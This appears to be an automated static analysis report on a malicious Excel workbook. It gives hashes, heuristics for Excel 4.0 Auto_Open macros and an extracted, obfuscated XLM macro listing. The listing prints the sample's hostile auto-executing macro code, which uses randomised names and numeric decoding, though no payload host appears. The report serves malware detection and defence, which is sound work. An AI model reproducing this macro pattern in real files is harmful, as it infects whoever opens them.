Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c4357dfd3f15a637…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:28 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 84789bb638dc02d6337135aabfc8166c SHA-1: f790a7e3650898016f9090cb71c1e5c7c8f0cce7 SHA-256: c4357dfd3f15a637a12d99026cecd5ff237e2835a0c80215f51af4ca66081830
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6627 bytes
SHA-256: 1129d6ef25b4b4bd80bca1b053dbda7d2fb7a3044d63865eb8b7b6e635feb7b1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  gMHPH
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H151 
' 0018     25 LABEL : Cell Value, String Constant - eMMVbVQQln len=0 
' 0018     23 LABEL : Cell Value, String Constant - EXkRUEug len=0 
' 0018     23 LABEL : Cell Value, String Constant - hiPVRttm len=0 
' 0018     25 LABEL : Cell Value, String Constant - iIWqThxwKB len=0 
' 0018     22 LABEL : Cell Value, String Constant - IRohkNf len=0 
' 0018     25 LABEL : Cell Value, String Constant - IVlfrkKkPu len=0 
' 0018     23 LABEL : Cell Value, String Constant - ktJQSYvG len=0 
' 0018     22 LABEL : Cell Value, String Constant - KZPMxjd len=0 
' 0018     20 LABEL : Cell Value, String Constant - lGITb len=0 
' 0018     27 LABEL : Cell Value, String Constant - mWtgcYSXZwcA len=0 
' 0018     27 LABEL : Cell Value, String Constant - OKzBXIznrBfx len=0 
' 0018     20 LABEL : Cell Value, String Constant - PkDlk len=0 
' 0018     23 LABEL : Cell Value, String Constant - RSwFEFRk len=0 
' 0018     23 LABEL : Cell Value, String Constant - smsxAuMS len=0 
' 0018     25 LABEL : Cell Value, String Constant - SwHvLYDmKl len=0 
' 0018     22 LABEL : Cell Value, String Constant - ufaHPVc len=0 
' 0018     23 LABEL : Cell Value, String Constant - VFkvRimE len=0 
' 0018     26 LABEL : Cell Value, String Constant - XjSssRtmofM len=0 
' 0018     21 LABEL : Cell Value, String Constant - YKQXiG len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZYWGIsIGzbU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  gMHPH,H61,"SET.NAME("smsxAuMS",0+VALUE("0"))",""
'  gMHPH,H64,"SET.NAME("ufaHPVc",smsxAuMS)",""
'  gMHPH,H69,"SET.NAME("EXkRUEug",smsxAuMS)",""
'  gMHPH,S71,"",-913.00000000000000000000
'  gMHPH,S72,"",187.00000000000000000000
'  gMHPH,H73,"SET.NAME("iIWqThxwKB",COUNTA(YKQXiG))",""
'  gMHPH,S73,"",381.00000000000000000000
'  gMHPH,S74,"",-221.00000000000000000000
'  gMHPH,S75,"",525.00000000000000000000
'  gMHPH,H76,"SET.NAME("mWtgcYSXZwcA",COUNTA(IVlfrkKkPu))",""
'  gMHPH,S76,"",817.00000000000000000000
'  gMHPH,H80,[],""
'  gMHPH,H84,"SET.NAME("VFkvRimE","")",""
'  gMHPH,H87,"ufaHPVc",""
'  gMHPH,H89,"SET.NAME("hiPVRttm",HLOOKUP("*",YKQXiG,ufaHPVc,FALSE))",""
'  gMHPH,H91,"ktJQSYvG",""
'  gMHPH,H96,"SET.NAME("SwHvLYDmKl",smsxAuMS)",""
'  gMHPH,H99,[],""
'  gMHPH,H103,"SwHvLYDmKl",""
'  gMHPH,H108,"PkDlk",""
'  gMHPH,H111,"ZYWGIsIGzbU",""
'  gMHPH,H114,"XjSssRtmofM",""
'  gMHPH,H116,"SET.NAME("lGITb",VALUE(HLOOKUP("*",IVlfrkKkPu,XjSssRtmofM,FALSE)))",""
'  gMHPH,H120,"eMMVbVQQln",""
'  gMHPH,H124,"VFkvRimE",""
'  gMHPH,H128,"EXkRUEug",""
'  gMHPH,H131,NEXT(),""
'  gMHPH,H133,"RSwFEFRk",""
'  gMHPH,H135,[],""
'  gMHPH,H140,"IRohkNf",""
'  gMHPH,H143,NEXT(),""
'  gMHPH,H147,RETURN(),""
'  gMHPH,H171,"SET.NAME("OKzBXIznrBfx",H61)",""
'  gMHPH,H176,"YKQXiG",""
'  gMHPH,H181,"SET.NAME("IVlfrkKkPu",R96C11)",""
'  gMHPH,H186,"SET.NAME("IRohkNf",194)",""
'  gMHPH,H191,"SET.NAME("KZPMxjd",8)",""
'  gMHPH,H193,OKzBXIznrBfx(),""
'  gMHPH,H194,HALT(),""